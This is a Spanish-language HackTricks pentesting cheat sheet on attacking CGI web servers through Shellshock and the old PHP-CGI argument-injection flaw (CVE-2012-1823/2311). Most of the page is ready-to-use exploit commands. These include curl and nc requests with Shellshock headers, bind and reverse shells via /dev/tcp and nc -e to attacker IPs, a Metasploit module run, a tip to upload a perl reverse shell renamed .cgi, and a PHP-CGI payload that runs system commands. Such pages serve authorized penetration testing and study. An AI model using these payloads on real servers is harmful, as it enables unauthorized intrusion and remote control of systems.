hacktricks/network-services-pentesting/pentesting-web/cgi.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

6.6 KiB

Información

Los scripts CGI son scripts perl, por lo que si has comprometido un servidor que puede ejecutar scripts .cgi, puedes subir un shell inverso perl `/usr/share/webshells/perl/perl-reverse-shell.pl`, cambiar la extensión de .pl a .cgi, darle permisos de ejecución `chmod +x` y acceder al shell inverso desde el navegador web para ejecutarlo.
Para probar vulnerabilidades CGI, se recomienda usar nikto -C all y todos los plugins

ShellShock

Bash también se puede usar para ejecutar comandos que se le pasan las aplicaciones y es esta característica la que afecta a la vulnerabilidad. Un tipo de comando que se puede enviar a Bash permite establecer variables de entorno. Las variables de entorno son valores dinámicos y nombrados que afectan a la forma en que se ejecutan los procesos en un ordenador. La vulnerabilidad radica en el hecho de que un atacante puede agregar código malicioso a la variable de entorno, que se ejecutará una vez que se reciba la variable.

Explotando esta vulnerabilidad, la página podría arrojar un error.

Podrías encontrar esta vulnerabilidad notando que está usando una versión antigua de Apache y cgi_mod con carpeta cgi o usando nikto.

Prueba

La mayoría de las pruebas se basan en imprimir algo y esperar que esa cadena se devuelva en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflejado, ciego y out-of-band)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker es una herramienta que automatiza la explotación de la vulnerabilidad Shellshock en servidores web CGI. Esta herramienta utiliza una lista de objetivos y un archivo de carga útil para explotar la vulnerabilidad y obtener una shell remota en el servidor objetivo. Shellsocker también puede ser utilizado para realizar pruebas de penetración en servidores web CGI para detectar si son vulnerables a Shellshock.

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Explotación

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM para solicitudes al servidor web)

CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"

Como la variable HTTP_PROXY podría ser utilizada por el servidor web. Intente enviar un encabezado que contenga: "Proxy: <IP_atacante>:<PUERTO>" y si el servidor realiza alguna solicitud durante la sesión. Podrá capturar cada solicitud realizada por el servidor.

PHP antiguo + CGI = RCE CVE-2012-1823, CVE-2012-2311

Básicamente, si cgi está activo y php es "antiguo" &lt;5.3.12 / &lt; 5.4.2 se puede ejecutar código.
Para explotar esta vulnerabilidad, es necesario acceder a algún archivo PHP del servidor web sin enviar parámetros especialmente sin enviar el carácter "=".
Luego, para probar esta vulnerabilidad, podría acceder por ejemplo a /index.php?-s note el `-s` y el código fuente de la aplicación aparecerá en la respuesta.

Luego, para obtener RCE puede enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input y el código PHP a ejecutar en el cuerpo de la solicitud.
Ejemplo:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Más información sobre la vulnerabilidad y posibles exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Ejemplo de CTF Writeup.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥